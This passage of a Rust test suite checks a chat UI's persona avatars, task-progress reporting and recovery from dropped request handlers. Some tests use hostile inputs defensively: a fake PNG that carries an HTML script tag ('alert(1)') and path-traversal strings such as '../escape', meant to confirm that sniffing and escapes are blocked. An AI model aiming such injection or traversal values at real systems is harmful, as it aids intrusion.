16102    #[tokio::test]
16103    async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
16104        let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
16105        for p in [
16106            "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
16107        ] {
16108            let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
16109            assert_eq!(status, StatusCode::OK, "{p}");
16110            assert_eq!(ct, "image/svg+xml", "{p}");
16111            assert!(nosniff && csp, "{p}");
16112            assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
16113        }
16114        // No `persona` means the conversation's own; unknown ones fall back.
16115        let own = avatar(&ui, &id, None, false).await;
16116        let default = avatar(&ui, &id, Some("default"), false).await;
16117        assert_eq!(own.4, default.4);
16118        let unknown = avatar(&ui, &id, Some("nobody"), false).await;
16119        assert_eq!(unknown.1, "image/svg+xml");
16120    }
16121
16122    #[tokio::test]
16123    async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
16124        let dir = TempDir::new().expect("icons");
16125        let good = dir.path().join("good.png");
16126        std::fs::write(&good, tiny_png()).unwrap();
16127        let spoof = dir.path().join("spoof.png");
16128        std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
16129        let big = dir.path().join("big.png");
16130        let mut bytes = tiny_png();
16131        bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
16132        std::fs::write(&big, bytes).unwrap();
16133        let missing = dir.path().join("missing.png");
16134        let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
16135        let extra = format!(
16136            "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
16137             [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
16138             [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
16139             [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
16140             [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
16141             [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
16142            uri(&good),
16143            uri(&spoof),
16144            uri(&big),
16145            uri(&missing),
16146        );
16147        let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
16148
16149        let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
16150        assert_eq!(
16151            (status, ct.as_str(), nosniff),
16152            (StatusCode::OK, "image/png", true)
16153        );
16154        assert_eq!(body, tiny_png());
16155        let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
16156        assert_eq!(ct, "image/png", "data URI");
16157
16158        for p in ["misato", "asuka", "shinji", "magi"] {
16159            let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
16160            assert_eq!(
16161                (status, ct.as_str(), csp),
16162                (StatusCode::OK, "image/svg+xml", true),
16163                "{p}"
16164            );
16165            assert!(body.starts_with(b"<svg"), "{p}");
16166        }
16167        // The page's own retry skips the icon.
16168        let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
16169        assert_eq!(ct, "image/svg+xml");
16170    }
16171
16172    #[tokio::test]
16173    async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
16174        let oversized = format!(
16175            "data:image/png;base64,{}",
16176            "A".repeat(persona_icon::ICON_MAX_BYTES)
16177        );
16178        for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
16179            let extra = format!(
16180                "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
16181            );
16182            let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
16183            let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
16184                .await
16185                .expect("detail with invalid icon");
16186            assert!(detail.personas.iter().any(|p| p.id == "custom"));
16187            let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
16188            assert_eq!(status, StatusCode::OK);
16189            assert_eq!(ct, "image/svg+xml");
16190            assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
16191            let Json(view) = talk_persona(
16192                State(Arc::clone(&ui)),
16193                Path(id.clone()),
16194                Json(TalkPersona {
16195                    persona: "custom".into(),
16196                }),
16197            )
16198            .await
16199            .expect("persona switch with invalid icon");
16200            assert_eq!(view.talk.persona, "custom");
16201            assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
16202        }
16203    }
16204
16205    #[tokio::test]
16206    async fn an_unreadable_config_still_gets_the_builtin_avatar() {
16207        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
16208        std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
16209        let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
16210        assert_eq!(
16211            (status, ct.as_str(), nosniff, csp),
16212            (StatusCode::OK, "image/svg+xml", true, true)
16213        );
16214    }
16215
16216    #[tokio::test]
16217    async fn the_talk_view_carries_server_built_avatar_urls_only() {
16218        let (_t, _h, ui, id, _repo) =
16219            avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
16220        let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
16221            .await
16222            .expect("detail");
16223        let json = serde_json::to_string(&detail).unwrap();
16224        assert!(
16225            !json.contains("secret"),
16226            "the icon setting must not leak: {json}"
16227        );
16228        assert!(
16229            detail
16230                .view
16231                .persona_avatar
16232                .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
16233        );
16234        assert_eq!(
16235            detail.view.operator_avatar,
16236            format!(
16237                "/avatars/operator.svg?v={}",
16238                persona_icon::fingerprint(Some(persona_icon::operator_svg()))
16239            )
16240        );
16241        assert!(!detail.personas.iter().any(|p| p.id == "operator"));
16242        let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
16243        let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
16244        assert!(rei.avatar.contains("persona=rei&v="));
16245        assert_ne!(
16246            rei.avatar.split("&v=").nth(1),
16247            plain.avatar.split("&v=").nth(1)
16248        );
16249    }
16250
16251    #[tokio::test]
16252    async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
16253        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
16254        let cfg = config_for(&repo).await.unwrap();
16255        for arrived in [false, true] {
16256            let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
16257            let observed = ui.queued_generation(&id);
16258            let talk = ui.talks.get(&id).unwrap();
16259            if arrived {
16260                assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
16261            }
16262            let mut settling = std::pin::pin!(settle_settings_turn(
16263                talk,
16264                ui.talks.clone(),
16265                cfg.clone(),
16266                id.clone(),
16267                turn,
16268                observed
16269            ));
16270            let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
16271            let first = std::future::Future::poll(settling.as_mut(), &mut cx);
16272            assert_eq!(first.is_pending(), arrived);
16273            if arrived {
16274                assert!(!settling.await);
16275            }
16276            assert!(!ui.is_thinking(&id));
16277        }
16278    }
16279
16280    #[tokio::test]
16281    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
16282        let tmp = TempDir::new().expect("tempdir");
16283        let repo = tmp.path().join("repo");
16284        std::fs::create_dir_all(&repo).expect("repo dir");
16285        std::fs::write(
16286            repo.join("magi.toml"),
16287            format!(
16288                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
16289            ),
16290        )
16291        .expect("write magi.toml");
16292        let home = TempDir::new().expect("temp home");
16293        let talks = Talks::at(home.path().join("talks"));
16294        let ui = Arc::new(
16295            Ui::new(
16296                Queue::at(home.path().join("queue")),
16297                Questions::at(home.path().join("questions")),
16298                talks.clone(),
16299                home.path().join("runs"),
16300                home.path().to_path_buf(),
16301                repo.clone(),
16302            )
16303            .with_worktrees_root(home.path().join("wt")),
16304        );
16305        let cfg = config_for(&repo).await.expect("discover config");
16306        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
16307        let id = talk.id.clone();
16308        let call = |persona: &str| {
16309            talk_persona(
16310                State(Arc::clone(&ui)),
16311                Path(id.clone()),
16312                Json(TalkPersona {
16313                    persona: persona.to_owned(),
16314                }),
16315            )
16316        };
16317
16318        let unknown = call("nobody").await.expect_err("unknown persona");
16319        assert_eq!(
16320            unknown.status,
16321            StatusCode::BAD_REQUEST,
16322            "{}",
16323            unknown.message
16324        );
16325
16326        {
16327            // Nothing refused so far took a claim, so the guard is free to take
16328            // and holding it is what makes the talk busy.
16329            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
16330            let busy = call("rei").await.expect_err("busy talk");
16331            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
16332            assert!(
16333                busy.message.contains("a talk turn is running"),
16334                "{}",
16335                busy.message
16336            );
16337            drop(guard);
16338        }
16339        assert_eq!(talks.get(&id).expect("reload").persona, "");
16340
16341        let Json(view) = call("gendo").await.expect("switch to a configured persona");
16342        assert_eq!(view.talk.persona, "gendo");
16343        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
16344        assert!(!ui.is_thinking(&id), "idle response must release the claim");
16345        // No intervening I/O or sleep may be needed before another change.
16346        for chosen in ["default", "gendo", "rei", "gendo"] {
16347            let Json(view) = call(chosen).await.expect("immediate consecutive change");
16348            assert!(!view.thinking);
16349            assert!(!ui.is_thinking(&id));
16350        }
16351
16352        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
16353            .await
16354            .expect("detail");
16355        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
16356        assert_eq!(ids.first(), Some(&"default"));
16357        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
16358
16359        let Json(view) = call("default").await.expect("back to default");
16360        assert_eq!(view.talk.persona, "");
16361
16362        let mut closed = talks.get(&id).expect("reload");
16363        talk::close(&mut closed, &talks).expect("close");
16364        let refused = call("rei").await.expect_err("closed talk");
16365        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
16366        assert!(
16367            refused.message.contains("takes no more turns"),
16368            "{}",
16369            refused.message
16370        );
16371    }
16372
16373    #[tokio::test]
16374    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
16375        let f = Fixture::start().await;
16376        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
16377        let queue = f.queue();
16378        let mut mine = Task::new(
16379            "rename the loader".to_owned(),
16380            "rename the loader".to_owned(),
16381            PathBuf::from("/repo/magi"),
16382            Source::Agent {
16383                run: talk_id.clone(),
16384                node: "chat".to_owned(),
16385            },
16386        );
16387        let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
16388        assert_eq!(empty["task_progress"]["state"], "none");
16389        assert_eq!(empty["task_progress"]["total"], 0);
16390        queue.put(&mut mine).expect("file the task");
16391        let mut theirs = Task::new(
16392            "unrelated".to_owned(),
16393            "unrelated".to_owned(),
16394            PathBuf::from("/repo/magi"),
16395            Source::Human,
16396        );
16397        // A later task linked through origin_chat alone is outside this list.
16398        theirs.origin_chat = Some(talk_id.clone());
16399        queue.put(&mut theirs).expect("file the task");
16400
16401        let res = f.get(&format!("/api/talks/{talk_id}")).await;
16402        assert_eq!(res.status, 200, "{}", res.body);
16403        let body = res.json();
16404        assert_eq!(
16405            body["status"], "open",
16406            "filing a task does not close a talk"
16407        );
16408        let tasks = body["tasks"].as_array().expect("tasks array");
16409        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
16410        assert_eq!(tasks[0]["id"], mine.id);
16411        for status in [
16412            TaskStatus::Queued,
16413            TaskStatus::Running,
16414            TaskStatus::Held,
16415            TaskStatus::Failed,
16416            TaskStatus::Blocked,
16417            TaskStatus::Parked,
16418            TaskStatus::Done,
16419            TaskStatus::Queued,
16420        ] {
16421            mine.status = status;
16422            queue.put(&mut mine).expect("update status");
16423            let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
16424            let progress = &detail["task_progress"];
16425            assert_eq!(progress["total"], 1);
16426            assert_eq!(progress["counts"][status.as_str()], 1);
16427            assert_eq!(detail["tasks"][0]["status"], status.as_str());
16428            assert_eq!(detail["status"], "open", "completion never closes the chat");
16429            if status == TaskStatus::Done {
16430                assert_eq!(progress["state"], "complete");
16431                assert_eq!(progress["done"], 1);
16432                assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
16433            } else {
16434                assert_eq!(progress["state"], "incomplete");
16435                assert_eq!(progress["done"], 0);
16436                assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
16437            }
16438        }
16439    }
16440
16441    #[test]
16442    fn goal_link_uses_newest_valid_direct_run_and_prefers_task_targets() {
16443        let home = tempfile::tempdir().unwrap();
16444        let runs = home.path().join("runs");
16445        let queue = Queue::at(home.path().join("queue"));
16446        let talks = Talks::at(home.path().join("talks"));
16447        let config = stub_config();
16448        let repo = PathBuf::from("/repo/magi");
16449        let mut talk = talk::begin(&talks, &config, repo.clone(), Some("stub")).unwrap();
16450        let reserve_run = |repo| {
16451            let mut run = RunState::new(
16452                repo,
16453                "main".into(),
16454                "0000000".into(),
16455                "Follow the review".into(),
16456                config.clone(),
16457            );
16458            run.reserve_under(home.path()).unwrap();
16459            run
16460        };
16461        let older = reserve_run(repo.clone());
16462        let newer = reserve_run(repo.clone());
16463        let foreign = reserve_run(PathBuf::from("/repo/other"));
16464        let mismatched = reserve_run(repo.clone());
16465        let corrupt = reserve_run(repo.clone());
16466        let run_file = |id: &str| runs.join(id).join("run.json");
16467        std::fs::write(
16468            run_file(&mismatched.id),
16469            serde_json::to_vec(&older).unwrap(),
16470        )
16471        .unwrap();
16472        std::fs::write(run_file(&corrupt.id), b"not json").unwrap();
16473        let goal = |tasks: Vec<String>, runs: Vec<String>| {
16474            serde_json::from_value::<crate::chat_goal::Goal>(serde_json::json!({
16475                "id": "g", "purpose": "Follow the review", "scope": "review",
16476                "condition": {"description": "Owner reviews the result", "kind": "owner_review"},
16477                "state": "waiting", "step": "Follow the recorded review",
16478                "source_turn": 0, "owner_input": "Follow the review",
16479                "tasks": tasks, "runs": runs, "watches": [],
16480                "evidence": "Seeded durable goal", "wake": 1, "handled": 1,
16481                "started": null, "wakes": 0, "last_checked": null, "fingerprint": ""
16482            }))
16483            .unwrap()
16484        };
16485        let link = |talk: &Talk| talk_goal_link(talk, &queue, &runs).map(|l| (l.kind, l.id));
16486
16487        talk.goals = vec![goal(vec![], vec![older.id.clone(), newer.id.clone()])];
16488        assert_eq!(link(&talk), Some(("run", newer.id.clone())));
16489
16490        let unusable = vec![
16491            foreign.id.clone(),
16492            mismatched.id.clone(),
16493            corrupt.id.clone(),
16494            "missing".into(),
16495            "../escape".into(),
16496        ];
16497        let mut references = vec![older.id.clone()];
16498        references.extend(unusable.clone());
16499        talk.goals = vec![goal(vec![], references)];
16500        assert_eq!(link(&talk), Some(("run", older.id.clone())));
16501
16502        talk.goals = vec![goal(vec!["missing-task".into()], unusable)];
16503        assert_eq!(link(&talk), None);
16504
16505        let mut task = Task::new(
16506            "Review".into(),
16507            "Follow the review".into(),
16508            repo,
16509            Source::Human,
16510        );
16511        queue.put(&mut task).unwrap();
16512        talk.goals = vec![goal(vec![task.id.clone()], vec![newer.id.clone()])];
16513        assert_eq!(link(&talk), Some(("task", task.id.clone())));
16514
16515        task.runs.push(older.id.clone());
16516        queue.put(&mut task).unwrap();
16517        assert_eq!(link(&talk), Some(("run", older.id)));
16518    }
16519
16520    #[test]
16521    fn talk_task_progress_counts_mixed_statuses() {
16522        let mut tasks: Vec<_> = [
16523            TaskStatus::Queued,
16524            TaskStatus::Running,
16525            TaskStatus::Held,
16526            TaskStatus::Failed,
16527            TaskStatus::Blocked,
16528            TaskStatus::Parked,
16529            TaskStatus::Done,
16530        ]
16531        .into_iter()
16532        .map(|status| {
16533            let mut task = Task::new(
16534                "task".into(),
16535                "task".into(),
16536                PathBuf::from("/repo"),
16537                Source::Human,
16538            );
16539            task.status = status;
16540            task
16541        })
16542        .collect();
16543        let progress = talk_task_progress(&tasks);
16544        assert_eq!(progress.state, "incomplete");
16545        assert_eq!(progress.total, 7);
16546        assert_eq!(progress.done, 1);
16547        assert_eq!(progress.unfinished_ids.len(), 6);
16548        assert!(progress.counts.values().all(|count| *count == 1));
16549        assert_eq!(
16550            progress.unfinished_ids,
16551            tasks[..6]
16552                .iter()
16553                .map(|task| task.id.clone())
16554                .collect::<Vec<_>>()
16555        );
16556
16557        for task in &mut tasks {
16558            task.status = TaskStatus::Done;
16559        }
16560        let complete = talk_task_progress(&tasks);
16561        assert_eq!(complete.state, "complete");
16562        assert_eq!(complete.done, 7);
16563        assert!(complete.unfinished_ids.is_empty());
16564        tasks[0].status = TaskStatus::Queued;
16565        let requeued = talk_task_progress(&tasks);
16566        assert_eq!(requeued.state, "incomplete");
16567        assert_eq!(requeued.done, 6);
16568        assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
16569
16570        let empty = talk_task_progress(&[]);
16571        assert_eq!(empty.state, "none");
16572        assert_eq!(empty.total, 0);
16573        assert_eq!(empty.done, 0);
16574        assert!(empty.unfinished_ids.is_empty());
16575        assert!(empty.counts.values().all(|count| *count == 0));
16576    }
16577
16578    #[tokio::test]
16579    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
16580        let (_tmp, _repo, f) = talk_fixture().await;
16581        let id = f.post("/api/talks", None).await.json()["id"]
16582            .as_str()
16583            .expect("id")
16584            .to_owned();
16585
16586        let res = f
16587            .post(
16588                &format!("/api/talks/{id}/say"),
16589                Some(r#"{"text":"what does the queue module do?"}"#),
16590            )
16591            .await;
16592        assert_eq!(res.status, 202, "{}", res.body);
16593        let queued = res.json();
16594        let turns = queued["turns"].as_array().expect("turns array");
16595        assert_eq!(
16596            turns.len(),
16597            1,
16598            "the answer reflects only what is on disk the instant it is sent, \
16599             before the agent's turn - which can run for the whole of \
16600             `[graph] timeout_talk` - has a chance to land: {queued}"
16601        );
16602        assert_eq!(turns[0]["who"], "operator");
16603        assert_eq!(turns[0]["body"], "what does the queue module do?");
16604        assert_eq!(
16605            queued["thinking"], true,
16606            "the accepted response exposes the background turn claim: {queued}"
16607        );
16608
16609        let mut turns_after = 1;
16610        for _ in 0..SETTLE_STEPS {
16611            let detail = f.get(&format!("/api/talks/{id}")).await.json();
16612            turns_after = detail["turns"].as_array().expect("turns array").len();
16613            if turns_after == 2 {
16614                break;
16615            }
16616            tokio::time::sleep(Duration::from_millis(10)).await;
16617        }
16618        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
16619    }
16620
16621    /// A phone that reloads mid-request drops `talk_say`'s whole handler
16622    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
16623    /// guards against: `talk::record` used to return, and only *then* did the
16624    /// handler make a second, separate disk round trip before spawning the
16625    /// agent's reply task. A future dropped in that gap left a message
16626    /// recorded on disk with no reply task ever started and no way back short
16627    /// of a fresh message - and the gap was not even the whole story: *any*
16628    /// `.await` in this handler, including the very first one, is a point
16629    /// where a drop can land after the awaited work already finished but
16630    /// before this handler's own code resumes to act on it. `record` now
16631    /// runs inside the task `tokio::spawn` hands to the runtime before this
16632    /// handler ever awaits anything of its own again, so there is nothing
16633    /// left in *this* handler's future for a disconnect to interrupt between
16634    /// the message landing on disk and the reply task starting.
16635    ///
16636    /// A real socket disconnect cannot be relied on to land in the old gap
16637    /// from a test - over loopback, `talk_say` typically finishes before the
16638    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
16639    /// same failure mode directly: it drops the task's future at whatever
16640    /// point it has reached, exactly what axum does to the handler future,
16641    /// without needing to win a real network race. Sweeping the delay before
16642    /// aborting samples a range of points the task's execution can be at,
16643    /// including where the old code sat waiting on its second disk round
16644    /// trip - confirmed by reverting this fix locally and watching this same
16645    /// sweep catch a talk stuck with the operator's turn recorded and no
16646    /// reply ever following.
16647    #[tokio::test]
16648    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
16649        let tmp = TempDir::new().expect("tempdir");
16650        let repo = tmp.path().join("repo");
16651        std::fs::create_dir_all(&repo).expect("repo dir");
16652        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
16653        let home = TempDir::new().expect("temp home");
16654        let talks = Talks::at(home.path().join("talks"));
16655        let ui = Arc::new(
16656            Ui::new(
16657                Queue::at(home.path().join("queue")),
16658                Questions::at(home.path().join("questions")),
16659                talks.clone(),
16660                home.path().join("runs"),
16661                home.path().to_path_buf(),
16662                repo.clone(),
16663            )
16664            .with_worktrees_root(home.path().join("wt")),
16665        );
16666        let cfg = config_for(&repo).await.expect("discover config");
16667
16668        for delay in 0..40u32 {
16669            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
16670            let id = talk.id.clone();
16671
16672            let handler = tokio::spawn(talk_say(
16673                State(Arc::clone(&ui)),
16674                Path(id.clone()),
16675                Ok(Json(NewTalkTurn {
16676                    reply_to: None,
16677                    text: "what does the queue module do?".to_owned(),
16678                    attachments: Vec::new(),
16679                })),
16680            ));
16681            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
16682            handler.abort();
16683            // Wait out the abort so the next iteration's talk does not race
16684            // this one's still-unwinding turn guard.
16685            let _ = handler.await;
16686
16687            let mut turns = 0;
16688            for _ in 0..SETTLE_STEPS {
16689                if let Ok(fresh) = talks.get(&id) {
16690                    turns = fresh.turns.len();
16691                    if turns != 1 {
16692                        break;
16693                    }
16694                }
16695                tokio::time::sleep(Duration::from_millis(10)).await;
16696            }
16697            assert_ne!(
16698                turns, 1,
16699                "delay {delay}: talk {id} recorded the operator's turn but \
16700                 the agent never answered - the reply task was never \
16701                 started after the handler future was dropped"
16702            );
16703        }
16704    }
16705
16706    /// The same drop, landing on `talk_say`'s other durable write.
16707    ///
16708    /// When a turn is already running, the busy branch persists the
16709    /// operator's text as a queued draft and then reclaims the turn slot if
16710    /// the holder gave it up in the meantime - and whoever reclaims owes that
16711    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
16712    /// which finishes whether or not the future awaiting it is still there,
16713    /// so a handler dropped at that `.await` used to leave the draft written
16714    /// to disk with the reclaimed guard dropped unread and no drainer ever
16715    /// started: the message sat queued until some unrelated later `say`
16716    /// happened to pick it up.
16717    ///
16718    /// This used to drive the handler future by hand, polling it a fixed
16719    /// number of times to park it at the `.await` where it asks for the turn
16720    /// and finds it busy, before the reclaim's slot-free case could be set up
16721    /// underneath it. That assumed a fixed number of polls lands at a fixed
16722    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
16723    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
16724    /// poll, so any number of this handler's several `blocking` awaits can
16725    /// collapse into one poll under load, landing the drive somewhere other
16726    /// than intended - including, occasionally, straight past the handler's
16727    /// own completion, which made polling it again panic with "async fn
16728    /// resumed after completion". No poll count fixes that; the handler's
16729    /// progress simply is not something a caller outside it can observe by
16730    /// counting.
16731    ///
16732    /// [`BusyQueueGate`] replaces the poll count with a real stop point
16733    /// inside the write itself, so the interleaving under test is pinned by
16734    /// an event instead of a guess: the gate fires only once the handler has
16735    /// actually decided `Busy` and is about to persist the draft, and it
16736    /// blocks that write until the test lets it through. Between those two
16737    /// moments the test drains the turn the handler found busy - through
16738    /// `drain_loop`, the protocol's other half - and then aborts the handler
16739    /// task outright, the same way axum drops a disconnected request's
16740    /// future. The write, and the reclaim it may do, run to completion
16741    /// regardless: they live in the `tokio::spawn` task the busy branch hands
16742    /// to the runtime before ever touching the gate, wholly independent of
16743    /// whether the handler that started it is still around - which is what
16744    /// this test is actually checking. A drainer other than that reclaim
16745    /// cannot exist here: the test's own `drain_loop` call happens before the
16746    /// gate opens, so it runs while the queue is still empty and hands the
16747    /// turn straight back rather than draining anything, closing off the
16748    /// possibility of the final assertion passing without the reclaim ever
16749    /// having done its job.
16750    #[tokio::test]
16751    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
16752        let tmp = TempDir::new().expect("tempdir");
16753        let repo = tmp.path().join("repo");
16754        std::fs::create_dir_all(&repo).expect("repo dir");
16755        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
16756        let home = TempDir::new().expect("temp home");
16757        let talks = Talks::at(home.path().join("talks"));
16758        let ui = Arc::new(
16759            Ui::new(
16760                Queue::at(home.path().join("queue")),
16761                Questions::at(home.path().join("questions")),
16762                talks.clone(),
16763                home.path().join("runs"),
16764                home.path().to_path_buf(),
16765                repo.clone(),
16766            )
16767            .with_worktrees_root(home.path().join("wt")),
16768        );
16769        let cfg = config_for(&repo).await.expect("discover config");
16770        // Both waits guard against hangs, not slow filesystem or Git work on
16771        // a loaded test host. The gates and lock polls assert the ordering.
16772        let hang_guard = Duration::from_secs(30);
16773
16774        for attempt in 0..3u32 {
16775            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
16776            let id = talk.id.clone();
16777            // A turn is already running, which is what sends `talk_say` down
16778            // the busy branch.
16779            let turn_guard = ui
16780                .begin_talk_turn(&id)
16781                .expect("claim the turn")
16782                .expect("a fresh talk owes nobody a turn");
16783
16784            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
16785            let (release_tx, release_rx) = std::sync::mpsc::channel();
16786            ui.set_busy_queue_gate(BusyQueueGate {
16787                reached: reached_tx,
16788                release: release_rx,
16789            });
16790
16791            let handler = tokio::spawn(talk_say(
16792                State(Arc::clone(&ui)),
16793                Path(id.clone()),
16794                Ok(Json(NewTalkTurn {
16795                    reply_to: None,
16796                    text: "what does the queue module do?".to_owned(),
16797                    attachments: Vec::new(),
16798                })),
16799            ));
16800
16801            // Wait for the busy branch to actually reach the gate, rather
16802            // than for any fixed number of polls of anything - a bounded
16803            // wait rather than a bare `.await` so a regression that never
16804            // reaches the gate fails the test instead of hanging it.
16805            tokio::time::timeout(hang_guard, reached_rx)
16806                .await
16807                .unwrap_or_else(|_| {
16808                    panic!(
16809                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
16810                    )
16811                })
16812                .expect("the busy branch dropped the gate without using it");
16813            assert!(
16814                crate::chat_worker::try_publication_guard(&talks, &id)
16815                    .expect("publication fence")
16816                    .is_none(),
16817                "a queued worker cannot promote text before its successor reservation is published"
16818            );
16819
16820            // A listener replacement queues its writer behind this accepted
16821            // mutation. Even disconnecting the HTTP caller must not release
16822            // admission before the write-to-worker handoff has completed.
16823            let closing = Arc::clone(&ui.admissions).write_owned();
16824            tokio::pin!(closing);
16825            std::future::poll_fn(|cx| {
16826                assert!(closing.as_mut().poll(cx).is_pending());
16827                std::task::Poll::Ready(())
16828            })
16829            .await;
16830            assert!(
16831                ui.begin_admission().is_err(),
16832                "replacement blocks later admissions"
16833            );
16834
16835            // The turn that was running now finishes and gives the slot up
16836            // the way a real one does - through `drain_loop`, which finds
16837            // nothing queued yet (the write is still held at the gate) and
16838            // releases. The handler, parked inside `spawn_blocking` on the
16839            // other side of the gate, still believes the talk is busy -
16840            // exactly the interleaving the reclaim exists for.
16841            let running = talks.get(&id).expect("reload talk");
16842            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
16843
16844            // Drop the handler future now, the way a reloading phone drops
16845            // it: suspended waiting on the busy branch's answer, having
16846            // itself made no more progress since it handed the write off.
16847            handler.abort();
16848            let _ = handler.await;
16849            std::future::poll_fn(|cx| {
16850                assert!(
16851                    closing.as_mut().poll(cx).is_pending(),
16852                    "HTTP cancellation must not abandon a publishing transaction"
16853                );
16854                std::task::Poll::Ready(())
16855            })
16856            .await;
16857            assert!(
16858                crate::chat_worker::try_publication_guard(&talks, &id)
16859                    .expect("publication fence after disconnect")
16860                    .is_none()
16861            );
16862
16863            // Only now let the gated write proceed. It persists the draft
16864            // and reclaims the now-free slot from inside the task the busy
16865            // branch already spawned - unaffected by the handler's abort
16866            // above, since that task was independent of the handler's own
16867            // future from the moment it was spawned.
16868            release_tx.send(()).expect("busy queue write still gated");
16869            drop(
16870                tokio::time::timeout(hang_guard, closing)
16871                    .await
16872                    .unwrap_or_else(|_| {
16873                        panic!("attempt {attempt}: talk {id} did not release admission after the queue gate opened")
16874                    }),
16875            );
16876            assert!(
16877                crate::chat_worker::try_publication_guard(&talks, &id)
16878                    .expect("publication fence after acknowledgement")
16879                    .is_some(),
16880                "the publication fence is not retained by the long response"
16881            );
16882
16883            // A settled talk: the draft drained into an operator turn and
16884            // answered.
16885            let mut fresh = talks.get(&id).expect("reload talk");
16886            for _ in 0..SETTLE_STEPS {
16887                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
16888                    break;
16889                }
16890                tokio::time::sleep(Duration::from_millis(10)).await;
16891                fresh = talks.get(&id).expect("reload talk");
16892            }
16893            assert!(
16894                fresh.pending.is_empty() && fresh.turns.len() == 2,
16895                "attempt {attempt}: talk {id} left the operator's text queued \
16896                 with no drainer - the reclaimed turn was dropped along with \
16897                 the handler future (pending {:?}, {} turns)",
16898                fresh.pending,
16899                fresh.turns.len()
16900            );
16901        }
16902    }
16903
16904    #[tokio::test]
16905    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
16906        let (_tmp, _repo, f) = talk_fixture().await;
16907        let id = f.post("/api/talks", None).await.json()["id"]
16908            .as_str()
16909            .expect("id")
16910            .to_owned();
16911        let store = f.talks();
16912        let mut recovered = store.get(&id).expect("opened talk");
16913        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16914            .expect("persist pending draft without a live turn");
16915
16916        let edited = f
16917            .post(
